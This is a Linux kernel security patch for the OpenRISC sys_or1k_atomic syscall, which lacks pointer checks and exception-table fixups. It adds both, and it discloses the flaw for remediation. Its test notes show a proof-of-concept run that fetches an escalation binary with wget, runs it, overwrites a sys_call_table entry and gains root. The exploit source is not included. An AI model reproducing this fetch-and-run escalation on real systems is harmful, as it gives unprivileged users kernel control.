sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
pointers, v1 and v2, and swaps the words they point to in hand-written
assembly.
l.lwz r29,0(r4)
l.lwz r27,0(r5)
l.sw 0(r4),r27
l.sw 0(r5),r29
The pointers are not checked with access_ok(). The four memory
accesses also have no exception table entries.
A caller passes a kernel address as either pointer, and the syscall
reads from and writes to it directly.
This gives an unprivileged process a kernel read/write primitive. It
overwrites kernel data such as the sys_call_table, gaining code
execution in kernel context.
Check both pointers before entering the critical section. Add fixups
for the four memory accesses so faults on valid but unmapped user
addresses return -EFAULT.
Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
Signed-off-by: Ali Ahmet Memis <[email protected]>
---
Tested against an unpatched or1ksim build with a local PoC that uses
this syscall to overwrite a sys_call_table entry and escalate to root:
ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel
vmlinux -nographic -append "console=ttyS0"
FDT at (ptrval)
Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real
(Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21
00:38:10 UTC 2026
OF: reserved mem: Reserved memory: No reserved-memory node in the DT
CPU: OpenRISC-13 (revision 8) @20 MHz
-- dmmu: 128 entries, 1 way(s)
-- immu: 128 entries, 1 way(s)
-- additional features:
-- power management
-- PIC
-- timer
Initial ramdisk not found
Setting up paging and PTEs.
map_ram: Memory: 0x0-0x8000000
Zone ranges:
Normal [mem 0x0000000000000000-0x0000000007ffffff]
Movable zone start for each node
Early memory node ranges
node 0: [mem 0x0000000000000000-0x0000000007ffffff]
Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
itlb_miss_handler (ptrval)
dtlb_miss_handler (ptrval)
OpenRISC Linux -- http://openrisc.io
Kernel command line: console=ttyS0
printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
Sorting __ex_table...
Built 1 zonelists, mobility grouping on. Total pages: 16384
mem auto-init: stack:all(zero), heap alloc:off, heap free:off
mem_init_done ...........................................
SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff,
max_idle_ns: 95563022313 ns
Console: colour dummy device 80x25
40.00 BogoMIPS (lpj=80000)
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
saving to '/tmp/x'
x 100% |********************************| 174k 0:00:00 ETA
'/tmp/x' saved
$ chmod +x /tmp/x
$ /tmp/x
Initial: uid=1000 euid=1000
Installing commit_creds into getuid entry
sys_call_table[174] overwritten
original handler = 0xc002e2ac
Calling hijacked syscall with init_cred
hijacked syscall returned 0
Restoring original getuid handler
syscall table restored
Final identity: uid=0 euid=0
# id
uid=0(root) gid=0(root)
#
arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
1 file changed, 39 insertions(+), 3 deletions(-)
diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
index c7e90b09645e..2e8c4102cd62 100644
--- a/arch/openrisc/kernel/entry.S
+++ b/arch/openrisc/kernel/entry.S
@@ -1223,15 +1223,49 @@ _no_syscall_trace:
*
*/
+/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
+#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc
+
ENTRY(sys_or1k_atomic)
/* FIXME: This ignores r3 and always does an XCHG */
+
+ /* Check both user pointers before accessing them. */
+ l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
+ l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
+ l.sfgtu r4,r13
+ l.bf 9f
+ l.nop
+ l.sfgtu r5,r13
+ l.bf 9f
+ l.nop
+
DISABLE_INTERRUPTS(r17,r19)
- l.lwz r29,0(r4)
- l.lwz r27,0(r5)
- l.sw 0(r4),r27
- l.sw 0(r5),r29
+10: l.lwz r29,0(r4)
+11: l.lwz r27,0(r5)
+12: l.sw 0(r4),r27
+13: l.sw 0(r5),r29
ENABLE_INTERRUPTS(r17)
l.jr r9
l.or r11,r0,r0
+ /* Either pointer was outside user space, or turned out to be
+ * unmapped/inaccessible when we actually touched it.
+ */
+9: l.jr r9
+ l.addi r11,r0,-EFAULT
+
+ .section .fixup, "ax"
+14:
+ ENABLE_INTERRUPTS(r17)
+ l.j 9b
+ l.nop
+ .previous
+
+ .section __ex_table, "a"
+ .long 10b, 14b
+ .long 11b, 14b
+ .long 12b, 14b
+ .long 13b, 14b
+ .previous
+
/* ============================================================[ EOF ]=== */
--
2.51.0
